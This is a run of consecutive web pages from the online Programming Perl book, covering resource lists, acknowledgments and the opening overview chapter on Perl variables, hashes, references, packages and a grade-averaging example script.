  • Introduction to Algorithms, by Cormen, Leiserson, and Rivest (MIT Press and McGraw-Hill, 1990).

  • Algorithms in C: Fundamental Data Structures, Sorting, Searching, 3d ed., by Robert Sedgewick (Addison-Wesley, 1997).

  • The Elements of Programming Style, by Kernighan and Plauger (Prentiss-Hall, 1988).

  • The Unix Programming Environment, by Kernighan and Pike (Prentiss-Hall, 1984).

  • POSIX Programmer's Guide, by Donald Lewine (O'Reilly, 1991).

  • Advanced Programming in the UNIX Environment, by W. Richard Stevens (Addison-Wesley, 1992).

  • TCP/IP Illustrated, vols. 1-3, by W. Richard Stevens, (Addison-Wesley, 1994-1996).

  • The Lord of the Rings by J.R.R. Tolkien (most recent printing: Houghton Mifflin, 1999).

Previous | Home | Next
0.4. Online Documentation | Book Index | 0.6. Additional Resources
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Additional Resources (Programming Perl)

 Programming PerlSearch this book

0.6. Additional Resources

The Internet is a wonderful invention, and we're all still discovering how to use it to its full potential. (Of course, some people prefer to "discover" the Internet the way Tolkien discovered Middle Earth.)

0.6.1. Perl on the Web

Visit the Perl home page at http://www.perl.com/. It tells what's new in the Perl world and contains source code and ports, feature articles, documentation, conference schedules, and a lot more.

Also visit the Perl Mongers' web page at http://www.perl.org for a grassroots-level view of Perl's, er, grass roots, which grow quite thickly in every part of the world, except at the South Pole, where they have to be kept indoors. Local PM groups hold regular small meetings where you can exchange Perl lore with other Perl hackers who live in your part of the world.

0.6.2. Usenet Newsgroups

The Perl newsgroups are a great, if sometimes cluttered, source of information about Perl. Your first stop might be comp.lang.perl.moderated, a moderated, low-traffic newsgroup that includes announcements and technical discussions. Because of the moderation, the newsgroup is quite readable.

The high-traffic comp.lang.perl.misc group discusses everything from technical issues to Perl philosophy to Perl games and Perl poetry. Like Perl itself, comp.lang.perl.misc is meant to be useful, and no question is too silly to ask.[4]

[4] Of course, some questions are too silly to answer. (Especially those already answered in the online manpages and FAQs. Why ask for help on a newsgroup when you could find the answer by yourself in less time than it takes to type in the question?)

The comp.lang.perl.tk group discusses how to use the popular Tk toolkit from Perl. The comp.lang.perl.modules group is about the development and use of Perl modules, which are the best way to get reusable code. There may be other comp.lang.perl.whatever newsgroups by the time you read this; look around.

If you aren't using a regular newsreader to access Usenet, but a web browser instead, prepend "news:" to the newsgroup name to get at one of these named newsgroups. (This only works if you have a news server.) Alternatively, if you use a Usenet searching service like Alta Vista or Deja, specify "*perl*" as the newsgroups to search for.

One other newsgroup you might want to check out, at least if you're doing CGI programming on the Web, is comp.infosystems.www.authoring.cgi. While it isn't strictly speaking a Perl group, most of the programs discussed there are written in Perl. It's the right place to go for web-related Perl issues, unless you're using mod_perl under Apache, in which case you might check out comp.infosystems.www.servers.unix.

0.6.3. Bug Reports

In the unlikely event that you should encounter a bug that's in Perl proper and not just in your own program, you should try to reduce it to a minimal test case and then report it with the perlbug program that comes with Perl. See http://bugs.perl.org for more info.

Previous | Home | Next
0.5. Offline Documentation | Book Index | 0.7. Conventions Used in This Book
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Acknowledgments (Programming Perl)

 Programming PerlSearch this book

0.8. Acknowledgments

Here we say nice things in public about our reviewers to make up for all the rude things we said to them in private: Todd Miller, Sharon Hopkins Rauenzahn, Rich Rauenzahn, Paul Marquess, Paul Grassie, Nathan Torkington, Johan Vromans, Jeff Haemer, Gurusamy Sarathy, Gloria Wall, Dan Sugalski, and Abigail.

We'd like to express our special gratitude to Tim O'Reilly (and his Associates) for encouraging authors to write the sort of books people might enjoy reading.

Previous | Home | Next
0.7. Conventions Used in This Book | Book Index | 0.9. We'd Like to Hear from You
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


We'd Like to Hear from You (Programming Perl)

 Book Home Programming PerlSearch this book

0.9. We'd Like to Hear from You

We have tested and verified all of the information in this book to the best of our ability, but you may find that features have changed (or even that we have made mistakes!). Please let us know about any errors you find, as well as your suggestions for future editions, by writing:

O'Reilly & Associates, Inc.
101 Morris Street
Sebastopol, CA 95472
1-800-998-9938 (in the US or Canada)
1-707-829-0515 (international/local)
1-707-829-0104 (fax)
You can also send messages electronically. To be put on the O'Reilly mailing list or request a catalog, send mail to info@oreilly.com. To ask technical questions or comment on this book, send mail to bookquestions@oreilly.com.

We have a web site for the book, where we'll list any errata and other Camel-related information:

http://www.oreilly.com/catalog/pperl3
Here you'll also find all the example code from the book available for download so you don't have to type it all in, like we did.

Previous | Home | Next
0.8. Acknowledgments | Book Index | Part 1. Overview
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


An Overview of Perl (Programming Perl)

 Book Home Programming PerlSearch this book

Chapter 1. An Overview of Perl

Contents:

Getting Started
Natural and Artificial Languages
An Average Example
Filehandles
Operators
Control Structures
Regular Expressions
List Processing
What You Don't Know Won't Hurt You (Much)

1.1. Getting Started

We think that Perl is an easy language to learn and use, and we hope to convince you that we're right. One thing that's easy about Perl is that you don't have to say much before you say what you want to say. In many programming languages, you have to declare the types, variables, and subroutines you are going to use before you can write the first statement of executable code. And for complex problems demanding complex data structures, declarations are a good idea. But for many simple, everyday problems, you'd like a programming language in which you can simply say:

print "Howdy, world!\n";
and expect the program to do just that.

Perl is such a language. In fact, this example is a complete program,[1] and if you feed it to the Perl interpreter, it will print "Howdy, world!" on your screen. (The \n in the example produces a newline at the end of the output.)

[1] Or script, or application, or executable, or doohickey. Whatever.

And that's that. You don't have to say much after you say what you want to say, either. Unlike many languages, Perl thinks that falling off the end of your program is just a normal way to exit the program. You certainly may call the exit function explicitly if you wish, just as you may declare some of your variables, or even force yourself to declare all your variables. But it's your choice. With Perl you're free to do The Right Thing, however you care to define it.

There are many other reasons why Perl is easy to use, but it would be pointless to list them all here, because that's what the rest of the book is for. The devil may be in the details, as they say, but Perl tries to help you out down there in the hot place too. At every level, Perl is about helping you get from here to there with minimum fuss and maximum enjoyment. That's why so many Perl programmers go around with a silly grin on their face.

This chapter is an overview of Perl, so we're not trying to present Perl to the rational side of your brain. Nor are we trying to be complete, or logical. That's what the following chapters are for. Vulcans, androids, and like-minded humans should skip this overview and go straight to Chapter 2, "Bits and Pieces", for maximum information density. If, on the other hand, you're looking for a carefully paced tutorial, you should probably get Randal's nice book, Learning Perl (published by O'Reilly & Associates). But don't throw this book out just yet.

This chapter presents Perl to the other side of your brain, whether you prefer to call it associative, artistic, passionate, or merely spongy. To that end, we'll be presenting various views of Perl that will give you as clear a picture of Perl as the blind men had of the elephant. Well, okay, maybe we can do better than that. We're dealing with a camel here (see the cover). Hopefully, at least one of these views of Perl will help get you over the hump.

Previous | Home | Next
Part 1. Overview | Book Index | 1.2. Natural and Artificial Languages
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Natural and Artificial Languages (Programming Perl)

 Book Home Programming PerlSearch this book

1.2. Natural and Artificial Languages

Languages were first invented by humans, for the benefit of humans. In the annals of computer science, this fact has occasionally been forgotten.[2] Since Perl was designed (loosely speaking) by an occasional linguist, it was designed to work smoothly in the same ways that natural language works smoothly. Naturally, there are many aspects to this, since natural language works well at many levels simultaneously. We could enumerate many of these linguistic principles here, but the most important principle of language design is that easy things should be easy, and hard things should be possible. (Actually, that's two principles.) They may seem obvious to you, but many computer languages fail at one or the other.

[2] More precisely, this fact has occasionally been remembered.

Natural languages are good at both because people are continually trying to express both easy things and hard things, so the language evolves to handle both. Perl was designed first of all to evolve, and indeed it has evolved. Many people have contributed to the evolution of Perl over the years. We often joke that a camel is a horse designed by a committee, but if you think about it, the camel is pretty well adapted for life in the desert. The camel has evolved to be relatively self-sufficient. (On the other hand, the camel has not evolved to smell good. Neither has Perl.) This is one of the many strange reasons we picked the camel to be Perl's mascot, but it doesn't have much to do with linguistics.

Now when someone utters the word "linguistics", many folks focus in on one of two things. Either they think of words, or they think of sentences. But words and sentences are just two handy ways to "chunk" speech. Either may be broken down into smaller units of meaning or combined into larger units of meaning. And the meaning of any unit depends heavily on the syntactic, semantic, and pragmatic context in which the unit is located. Natural language has words of various sorts: nouns and verbs and such. If someone says "dog" in isolation, you think of it as a noun, but you can also use the word in other ways. That is, a noun can function as a verb, an adjective, or an adverb when the context demands it. If you dog a dog during the dog days of summer, you'll be a dog tired dogcatcher.[3]

[3] And you're probably dog tired of all this linguistics claptrap. But we'd like you to understand why Perl is different from the typical computer language, doggone it!

Perl also evaluates words differently in various contexts. We will see how it does that later. Just remember that Perl is trying to understand what you're saying, like any good listener does. Perl works pretty hard to try to keep up its end of the bargain. Just say what you mean, and Perl will usually "get it". (Unless you're talking nonsense, of course--the Perl parser understands Perl a lot better than either English or Swahili.)

But back to nouns. A noun can name a particular object, or it can name a class of objects generically without specifying which one is currently being referred to. Most computer languages make this distinction, only we call the particular one a value and the generic one a variable. A value just exists somewhere, who knows where, but a variable gets associated with one or more values over its lifetime. So whoever is interpreting the variable has to keep track of that association. That interpreter may be in your brain or in your computer.

1.2.1. Variable Syntax

A variable is just a handy place to keep something, a place with a name, so you know where to find your special something when you come back looking for it later. As in real life, there are various kinds of places to store things, some of them rather private, and some of them out in public. Some places are temporary, and other places are more permanent. Computer scientists love to talk about the "scope" of variables, but that's all they mean by it. Perl has various handy ways of dealing with scoping issues, which you'll be happy to learn later when the time is right. Which is not yet. (Look up the adjectives local, my, and our in Chapter 29, "Functions", when you get curious, or see "Scoped Declarations" in Chapter 4, "Statements and Declarations".)

But a more immediately useful way of classifying variables is by what sort of data they can hold. As in English, Perl's primary type distinction is between singular and plural data. Strings and numbers are singular pieces of data, while lists of strings or numbers are plural. (And when we get to object-oriented programming, you'll find that the typical object looks singular from the outside but plural from the inside, like a class of students.) We call a singular variable a scalar, and a plural variable an array. Since a string can be stored in a scalar variable, we might write a slightly longer (and commented) version of our first example like this:

$phrase = "Howdy, world!\n";          # Set a variable.
print $phrase;                        # Print the variable.
Note that we did not have to predefine what kind of variable $phrase is. The $ character tells Perl that phrase is a scalar variable, that is, one containing a singular value. An array variable, by contrast, would start with an @ character. (It may help you to remember that a $ is a stylized "s", for "scalar", while @ is a stylized "a", for "array".)

Perl has some other variable types, with unlikely names like "hash", "handle", and "typeglob". Like scalars and arrays, these types of variables are also preceded by funny characters. For completeness, here are all the funny characters you'll encounter:

Type | Character | Example | Is a name for:
Scalar | $ | $cents | An individual value (number or string)
Array | @ | @large | A list of values, keyed by number
Hash | % | %interest | A group of values, keyed by string
Subroutine | & | &how | A callable chunk of Perl code
Typeglob | * | *struck | Everything named struck

Some language purists point to these funny characters as a reason to abhor Perl. This is superficial. These characters have many benefits, not least of which is that variables can be interpolated into strings with no additional syntax. Perl scripts are also easy to read (for people who have bothered to learn Perl!) because the nouns stand out from verbs. And new verbs can be added to the language without breaking old scripts. (We told you Perl was designed to evolve.) And the noun analogy is not frivolous--there is ample precedent in English and other languages for requiring grammatical noun markers. It's how we think! (We think.)

1.2.1.1. Singularities

From our earlier example, you can see that scalars may be assigned a new value with the = operator, just as in many other computer languages. Scalar variables can be assigned any form of scalar value: integers, floating-point numbers, strings, and even esoteric things like references to other variables, or to objects. There are many ways of generating these values for assignment.

As in the Unix[4]shell, you can use different quoting mechanisms to make different kinds of values. Double quotation marks (double quotes) do variable interpolation [5] and backslash interpolation (such as turning \n into a newline) while single quotes suppress interpolation. And backquotes (the ones leaning to the left) will execute an external program and return the output of the program, so you can capture it as a single string containing all the lines of output.

$answer = 42;                # an integer
$pi = 3.14159265;            # a "real" number
$avocados = 6.02e23;         # scientific notation
$pet = "Camel";              # string
$sign = "I love my $pet";    # string with interpolation
$cost = 'It costs $100';     # string without interpolation
$thence = $whence;           # another variable's value
$salsa = $moles * $avocados; # a gastrochemical expression
$exit = system("vi $file");  # numeric status of a command
$cwd = `pwd`;                # string output from a command
And while we haven't covered fancy values yet, we should point out that scalars may also hold references to other data structures, including subroutines and objects.
$ary = \@myarray;            # reference to a named array
$hsh = \%myhash;             # reference to a named hash
$sub = \&mysub;              # reference to a named subroutine

$ary = [1,2,3,4,5];          # reference to an unnamed array
$hsh = {Na => 19, Cl => 35}; # reference to an unnamed hash
$sub = sub { print $state }; # reference to an unnamed subroutine

$fido = new Camel "Amelia";  # reference to an object

[4]Here and elsewhere, when we say Unix, we mean any operating system resembling Unix, including BSD, Linux, and, of course, Unix.

[5]Sometimes called "substitution" by shell programmers, but we prefer to reserve that word for something else in Perl. So please call it interpolation. We're using the term in the textual sense ("this passage is a Gnostic interpolation") rather than in the mathematical sense ("this point on the graph is an interpolation between two other points").

If you use a variable that has never been assigned a value, the uninitialized variable automatically springs into existence as needed. Following the principle of least surprise, the variable is created with a null value, either "" or 0. Depending on where you use them, variables will be interpreted automatically as strings, as numbers, or as "true" and "false" values (commonly called Boolean values). Remember how important context is in human languages. In Perl, various operators expect certain kinds of singular values as parameters, so we will speak of those operators as "providing" or "supplying" a scalar context to those parameters. Sometimes we'll be more specific, and say it supplies a numeric context, a string context, or a Boolean context to those parameters. (Later we'll also talk about list context, which is the opposite of scalar context.) Perl will automatically convert the data into the form required by the current context, within reason. For example, suppose you said this:

$camels = '123';
print $camels + 1, "\n";
The original value of $camels is a string, but it is converted to a number to add 1 to it, and then converted back to a string to be printed out as 124. The newline, represented by "\n", is also in string context, but since it's already a string, no conversion is necessary. But notice that we had to use double quotes there--using single quotes to say '\n' would result in a two-character string consisting of a backslash followed by an "n", which is not a newline by anybody's definition.

So, in a sense, double quotes and single quotes are yet another way of specifying context. The interpretation of the innards of a quoted string depends on which quotes you use. (Later, we'll see some other operators that work like quotes syntactically but use the string in some special way, such as for pattern matching or substitution. These all work like double-quoted strings too. The double-quote context is the "interpolative" context of Perl, and is supplied by many operators that don't happen to resemble double quotes.)

Similarly, a reference behaves as a reference when you give it a "dereference" context, but otherwise acts like a simple scalar value. For example, we might say:

$fido = new Camel "Amelia";
if (not $fido) { die "dead camel"; }
$fido->saddle();
Here we create a reference to a Camel object and put it into the variable $fido. On the next line, we test $fido as a scalar Boolean to see if it is "true", and we throw an exception (that is, we complain) if it is not true, which in this case would mean that the new Camel constructor failed to make a proper Camel object. But on the last line, we treat $fido as a reference by asking it to look up the saddle() method for the object held in $fido, which happens to be a Camel, so Perl looks up the saddle() method for Camel objects. More about that later. For now, just remember that context is important in Perl because that's how Perl knows what you want without your having to say it explicitly, as many other computer languages force you to do.

1.2.1.2. Pluralities

Some kinds of variables hold multiple values that are logically tied together. Perl has two types of multivalued variables: arrays and hashes. In many ways, these behave like scalars--they spring into existence with nothing in them when needed, for instance. But they are different from scalars in that, when you assign to them, they supply a list context to the right side of the assignment rather than a scalar context.

Arrays and hashes also differ from each other. You'd use an array when you want to look something up by number. You'd use a hash when you want to look something up by name. The two concepts are complementary. You'll often see people using an array to translate month numbers into month names, and a corresponding hash to translate month names back into month numbers. (Though hashes aren't limited to holding only numbers. You could have a hash that translates month names to birthstone names, for instance.)

1.2.1.2.1. Arrays.

An array is an ordered list of scalars, accessed[6] by the scalar's position in the list. The list may contain numbers, or strings, or a mixture of both. (It might also contain references to subarrays or subhashes.) To assign a list value to an array, you simply group the values together (with a set of parentheses):

@home = ("couch", "chair", "table", "stove");
Conversely, if you use @home in a list context, such as on the right side of a list assignment, you get back out the same list you put in. So you could set four scalar variables from the array like this:
($potato, $lift, $tennis, $pipe) = @home;
These are called list assignments. They logically happen in parallel, so you can swap two variables by saying:
($alpha,$omega) = ($omega,$alpha);
As in C, arrays are zero-based, so while you would talk about the first through fourth elements of the array, you would get to them with subscripts 0 through 3.[7] Array subscripts are enclosed in square brackets [like this], so if you want to select an individual array element, you would refer to it as $home[n], where n is the subscript (one less than the element number) you want. See the example that follows. Since the element you are dealing with is a scalar, you always precede it with a $.

[6] Or keyed, or indexed, or subscripted, or looked up. Take your pick.

[7] If this seems odd to you, just think of the subscript as an offset, that is, the count of how many array elements come before it. Obviously, the first element doesn't have any elements before it, and so has an offset of 0. This is how computers think. (We think.)

If you want to assign to one array element at a time, you could write the earlier assignment as:

$home[0] = "couch";
$home[1] = "chair";
$home[2] = "table";
$home[3] = "stove";
Since arrays are ordered, you can do various useful operations on them, such as the stack operations push and pop. A stack is, after all, just an ordered list, with a beginning and an end. Especially an end. Perl regards the end of your array as the top of a stack. (Although most Perl programmers think of an array as horizontal, with the top of the stack on the right.)

1.2.1.2.2. Hashes.

A hash is an unordered set of scalars, accessed[8] by some string value that is associated with each scalar. For this reason hashes are often called associative arrays. But that's too long for lazy typists to type, and we talk about them so often that we decided to name them something short and snappy. The other reason we picked the name "hash" is to emphasize the fact that they're disordered. (They are, coincidentally, implemented internally using a hash-table lookup, which is why hashes are so fast, and stay so fast no matter how many values you put into them.) You can't push or pop a hash though, because it doesn't make sense. A hash has no beginning or end. Nevertheless, hashes are extremely powerful and useful. Until you start thinking in terms of hashes, you aren't really thinking in Perl. Figure 1-1 shows the ordered elements of an array and the unordered (but named) elements of a hash.

[8] Or keyed, or indexed, or subscripted, or looked up. Take your pick.

Figure 1.1. An array and a hash

Since the keys to a hash are not automatically implied by their position, you must supply the key as well as the value when populating a hash. You can still assign a list to it like an ordinary array, but each pair of items in the list will be interpreted as a key and a value. Since we're dealing with pairs of items, hashes use the funny character % to mark hash names. (If you look carefully at the % character, you can see the key and the value with a slash between them. It may help to squint.)

Suppose you wanted to translate abbreviated day names to the corresponding full names. You could write the following list assignment:

%longday = ("Sun", "Sunday", "Mon", "Monday", "Tue", "Tuesday",
            "Wed", "Wednesday", "Thu", "Thursday", "Fri",
            "Friday", "Sat", "Saturday");
But that's rather difficult to read, so Perl provides the => (equals sign, greater-than sign) sequence as an alternative separator to the comma. Using this syntactic sugar (and some creative formatting), it is much easier to see which strings are the keys and which strings are the associated values.
%longday = (
    "Sun" => "Sunday",
    "Mon" => "Monday",
    "Tue" => "Tuesday",
    "Wed" => "Wednesday",
    "Thu" => "Thursday",
    "Fri" => "Friday",
    "Sat" => "Saturday",
);
Not only can you assign a list to a hash, as we did above, but if you mention a hash in list context, it'll convert the hash back to a list of key/value pairs, in a weird order. This is occasionally useful. More often people extract a list of just the keys, using the (aptly named) keys function. The key list is also unordered, but can easily be sorted if desired, using the (aptly named) sort function. Then you can use the ordered keys to pull out the corresponding values in the order you want.

Because hashes are a fancy kind of array, you select an individual hash element by enclosing the key in braces (those fancy brackets also known as "curlies"). So, for example, if you want to find out the value associated with Wed in the hash above, you would use $longday{"Wed"}. Note again that you are dealing with a scalar value, so you use $ on the front, not %, which would indicate the entire hash.

Linguistically, the relationship encoded in a hash is genitive or possessive, like the word "of" in English, or like "'s". The wife of Adam is Eve, so we write:

$wife{"Adam"} = "Eve";

1.2.1.3. Complexities

Arrays and hashes are lovely, simple, flat data structures. Unfortunately, the world does not always cooperate with our attempts to oversimplify. Sometimes you need to build not-so-lovely, not-so-simple, not-so-flat data structures. Perl lets you do this by pretending that complicated values are really simple ones. To put it the other way around, Perl lets you manipulate simple scalar references that happen to refer to complicated arrays and hashes. We do this all the time in natural language when we use a simple singular noun like "government" to represent an entity that is completely convoluted and inscrutable. Among other things.

To extend our previous example, suppose we want to switch from talking about Adam's wife to Jacob's wife. Now, as it happens, Jacob had four wives. (Don't try this at home.) In trying to represent this in Perl, we find ourselves in the odd situation where we'd like to pretend that Jacob's four wives were really one wife. (Don't try this at home, either.) You might think you could write it like this:

$wife{"Jacob"} = ("Leah", "Rachel", "Bilhah", "Zilpah");        # WRONG
But that wouldn't do what you want, because even parentheses and commas are not powerful enough to turn a list into a scalar in Perl. (Parentheses are used for syntactic grouping, and commas for syntactic separation.) Rather, you need to tell Perl explicitly that you want to pretend that a list is a scalar. It turns out that square brackets are powerful enough to do that:
$wife{"Jacob"} = ["Leah", "Rachel", "Bilhah", "Zilpah"];        # ok
That statement creates an unnamed array and puts a reference to it into the hash element $wife{"Jacob"}. So we have a named hash containing an unnamed array. This is how Perl deals with both multidimensional arrays and nested data structures. As with ordinary arrays and hashes, you can also assign individual elements, like this:
$wife{"Jacob"}[0] = "Leah";
$wife{"Jacob"}[1] = "Rachel";
$wife{"Jacob"}[2] = "Bilhah";
$wife{"Jacob"}[3] = "Zilpah";
You can see how that looks like a multidimensional array with one string subscript and one numeric subscript. To see something that looks more tree-structured, like a nested data structure, suppose we wanted to list not only Jacob's wives but all the sons of each of his wives. In this case we want to treat a hash as a scalar. We can use braces for that. (Inside each hash value we'll use square brackets to represent arrays, just as we did earlier. But now we have an array in a hash in a hash.)
$kids_of_wife{"Jacob"} = {
    "Leah"   => ["Reuben", "Simeon", "Levi", "Judah", "Issachar", "Zebulun"],
    "Rachel" => ["Joseph", "Benjamin"],
    "Bilhah" => ["Dan", "Naphtali"],
    "Zilpah" => ["Gad", "Asher"],
};
That would be more or less equivalent to saying:
$kids_of_wife{"Jacob"}{"Leah"}[0]   = "Reuben";
$kids_of_wife{"Jacob"}{"Leah"}[1]   = "Simeon";
$kids_of_wife{"Jacob"}{"Leah"}[2]   = "Levi";
$kids_of_wife{"Jacob"}{"Leah"}[3]   = "Judah";
$kids_of_wife{"Jacob"}{"Leah"}[4]   = "Issachar";
$kids_of_wife{"Jacob"}{"Leah"}[5]   = "Zebulun";
$kids_of_wife{"Jacob"}{"Rachel"}[0] = "Joseph";
$kids_of_wife{"Jacob"}{"Rachel"}[1] = "Benjamin";
$kids_of_wife{"Jacob"}{"Bilhah"}[0] = "Dan";
$kids_of_wife{"Jacob"}{"Bilhah"}[1] = "Naphtali";
$kids_of_wife{"Jacob"}{"Zilpah"}[0] = "Gad";
$kids_of_wife{"Jacob"}{"Zilpah"}[1] = "Asher";
You can see from this that adding a level to a nested data structure it is like adding another dimension to a multidimensional array. Perl lets you think of it either way, but the internal representation is the same.

The important point here is that Perl lets you pretend that a complex data structure is a simple scalar. On this simple kind of encapsulation, Perl's entire object-oriented structure is built. When we earlier invoked the Camel constructor like this:

$fido = new Camel "Amelia";
we created a Camel object that is represented by the scalar $fido. But the inside of the Camel is more complicated. As well-behaved object-oriented programmers, we're not supposed to care about the insides of Camels (unless we happen to be the people implementing the methods of the Camel class). But generally, an object like a Camel would consist of a hash containing the particular Camel's attributes, such as its name ("Amelia" in this case, not "fido"), and the number of humps (which we didn't specify, but probably defaults to 1; check the front cover).

1.2.1.4. Simplicities

If your head isn't spinning a bit from reading that last section, then you have an unusual head. People don't generally like to deal with complex data structures, whether governmental or genealogical. So in our natural languages, we have many ways of sweeping complexity under the carpet. Many of these fall into the category of topicalization, which is just a fancy linguistics term for agreeing with someone about what you're going to talk about (and by exclusion, what you're probably not going to talk about). This happens on many levels in language. On a high level, we divide ourselves up into various subcultures that are interested in various subtopics and establish sublanguages that talk primarily about those subtopics. The lingo of the doctor's office ("indissoluable asphyxiant") is different from the lingo of the chocolate factory ("everlasting gobstopper"). Most of us automatically switch contexts as we go from one lingo to another.

On a conversational level, the context switch has to be more explicit, so our language gives us many ways of saying what we're about to say. We put titles on our books and headers on our sections. On our sentences, we put quaint phrases like "In regard to your recent query" or "For all X". Usually, though, we just say things like, "You know that dangley thingy that hangs down in the back of your throat?"

Perl also has several ways of topicalizing. One important topicalizer is the package declaration. Suppose you want to talk about Camels in Perl. You'd likely start off your Camel module by saying:

package Camel;
This has several notable effects. One of them is that Perl will assume from this point on that any unspecified verbs or nouns are about Camels. It does this by automatically prefixing any global name with the module name "Camel::". So if you say:
package Camel;
$fido = &fetch();
then the real name of $fido is $Camel::fido (and the real name of &fetch is &Camel::fetch, but we're not talking about verbs yet). This means that if some other module says:
package Dog;
$fido = &fetch();
Perl won't get confused, because the real name of this $fido is $Dog::fido, not $Camel::fido. A computer scientist would say that a package establishes a namespace. You can have as many namespaces as you like, but since you're only in one of them at a time, you can pretend that the other namespaces don't exist. That's how namespaces simplify reality for you. Simplification is based on pretending. (Of course, so is oversimplification, which is what we're doing in this chapter.)

Now it's important to keep your nouns straight, but it's just as important to keep your verbs straight. It's nice that &Camel::fetch is not confused with &Dog::fetch within the Camel and Dog namespaces, but the really nice thing about packages is that they classify your verbs so that other packages can use them. When we said:

$fido = new Camel "Amelia";
we were actually invoking the &new verb in the Camel package, which has the full name of &Camel::new. And when we said:
$fido->saddle();
we were invoking the &Camel::saddle routine, because $fido remembers that it is pointing to a Camel. This is how object-oriented programming works.

When you say package Camel, you're starting a new package. But sometimes you just want to borrow the nouns and verbs of an existing package. Perl lets you do that with a use declaration, which not only borrows verbs from another package, but also checks that the module you name is loaded in from disk. In fact, you must say something like:

use Camel;
before you say:
$fido = new Camel "Amelia";
because otherwise Perl wouldn't know what a Camel is.

The interesting thing is that you yourself don't really need to know what a Camel is, provided you can get someone else to write the Camel module for you. Even better would be if someone had already written the Camel module for you. It could be argued that the most powerful thing about Perl is not Perl itself, but CPAN (Comprehensive Perl Archive Network), which contains myriads of modules that accomplish many different tasks that you don't have to know how to do. You just have to download it and know how to say:

use Some::Cool::Module;
and then use the verbs from that module in a manner appropriate to the topic under discussion.

So, like topicalization in a natural language, topicalization in Perl "warps" the language that you'll use from there to the end of the program. In fact, some of the built-in modules don't actually introduce verbs at all, but simply warp the Perl language in various useful ways. These special modules we call pragmas. For instance, you'll often see people use the pragma strict, like this:

use strict;
What the strict module does is tighten up some of the rules so that you have to be more explicit about various things that Perl would otherwise guess about, such as how you want your variables to be scoped. Making things explicit is helpful when you're working on large projects. By default Perl is optimized for small projects, but with the strict pragma, Perl is also good for large projects that need to be more maintainable. Since you can add the strict pragma at any time, Perl is also good for evolving small projects into large ones, even when you didn't expect that to happen. Which is usually.

1.2.2. Verbs

As is typical of your typical imperative computer language, many of the verbs in Perl are commands: they tell the Perl interpreter to do something. On the other hand, as is typical of a natural language, the meanings of Perl verbs tend to mush off in various directions depending on the context. A statement starting with a verb is generally purely imperative and evaluated entirely for its side effects. (We sometimes call these verbs procedures, especially when they're user-defined.) A frequently seen built-in command (in fact, you've seen it already) is the print command:

print "Adam's wife is $wife{'Adam'}.\n";
This has the side effect of producing the desired output:
Adam's wife is Eve.

But there are other "moods" besides the imperative mood. Some verbs are for asking questions and are useful in conditionals such as if statements. Other verbs translate their input parameters into return values, just as a recipe tells you how to turn raw ingredients into something (hopefully) edible. We tend to call these verbs functions, in deference to generations of mathematicians who don't know what the word "functional" means in normal English.

An example of a built-in function would be the exponential function:

$e = exp(1);   # 2.718281828459 or thereabouts
But Perl doesn't make a hard distinction between procedures and functions. You'll find the terms used interchangeably. Verbs are also sometimes called operators (when built-in), or subroutines (when user-defined).[9] But call them whatever you like--they all return a value, which may or may not be a meaningful value, which you may or may not choose to ignore.

[9] Historically, Perl required you to put an ampersand character (&) on any calls to user-defined subroutines (see $fido = &fetch(); earlier). But with Perl version 5, the ampersand became optional, so that user-defined verbs can now be called with the same syntax as built-in verbs ($fido = fetch();). We still use the ampersand when talking about the name of the routine, such as when we take a reference to it ($fetcher = \&fetch;). Linguistically speaking, you can think of the ampersand form &fetch as an infinitive, "to fetch", or the similar form "do fetch". But we rarely say "do fetch" when we can just say "fetch". That's the real reason we dropped the mandatory ampersand in Perl 5.

As we go on, you'll see additional examples of how Perl behaves like a natural language. But there are other ways to look at Perl too. We've already sneakily introduced some notions from mathematical language, such as subscripts, addition, and the exponential function. But Perl is also a control language, a glue language, a prototyping language, a text-processing language, a list-processing language, and an object-oriented language. Among other things.

But Perl is also just a plain old computer language. And that's how we'll look at it next.

Previous | Home | Next
1.1. Getting Started | Book Index | 1.3. An Average Example
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


An Average Example (Programming Perl)

 Book Home Programming PerlSearch this book

1.3. An Average Example

Suppose you've been teaching a Perl class, and you're trying to figure out how to grade your students. You have a set of exam scores for each member of a class, in random order. You'd like a combined list of all the grades for each student, plus their average score. You have a text file (imaginatively named grades) that looks like this:

No&#235;l 25
Ben 76
Clementine 49
Norm 66
Chris 92
Doug 42
Carol 25
Ben 12
Clementine 0
Norm 66
...
You can use the following script to gather all their scores together, determine each student's average, and print them all out in alphabetical order. This program assumes rather naively that you don't have two Carols in your class. That is, if there is a second entry for Carol, the program will assume it's just another score for the first Carol (not to be confused with the first No&#235;l).

By the way, the line numbers are not part of the program, any other resemblances to BASIC notwithstanding.

 1  #!/usr/bin/perl
 2
 3  open(GRADES, "grades") or die "Can't open grades: $!\n";
 4  while ($line = <GRADES>) {
 5      ($student, $grade) = split(" ", $line);
 6      $grades{$student} .= $grade . " ";
 7  }
 8
 9  foreach $student (sort keys %grades) {
10      $scores = 0;
11      $total = 0;
12      @grades = split(" ", $grades{$student});
13      foreach $grade (@grades) {
14          $total += $grade;
15          $scores++;
16      }
17      $average = $total / $scores;
18      print "$student: $grades{$student}\tAverage: $average\n";
19  }
Now before your eyes cross permanently, we'd better point out that this example demonstrates a lot of what we've covered so far, plus quite a bit more that we'll explain presently. But if you let your eyes go just a little out of focus, you may start to see some interesting patterns. Take some wild guesses now as to what's going on, and then later on we'll tell you if you're right.

We'd tell you to try running it, but you may not know how yet.

1.3.1. How to Do It

Gee, right about now you're probably wondering how to run a Perl program. The short answer is that you feed it to the Perl language interpreter program, which coincidentally happens to be named perl. The long answer starts out like this: There's More Than One Way To Do It.[10]

[10] That's the Perl Slogan, and you'll get tired of hearing it, unless you're the Local Expert, in which case you'll get tired of saying it. Sometimes it's shortened to TMTOWTDI, pronounced "tim-toady". But you can pronounce it however you like. After all, TMTOWTDI.

The first way to invoke perl (and the way most likely to work on any operating system) is to simply call perl explicitly from the command line.[11] If you are doing something fairly simple, you can use the -e switch (% in the following example represents a standard shell prompt, so don't type it). On Unix, you might type:

% perl -e 'print "Hello, world!\n";'

[11] Assuming that your operating system provides a command-line interface. If you're running an older Mac, you might need to upgrade to a version of BSD such as Mac OS X.

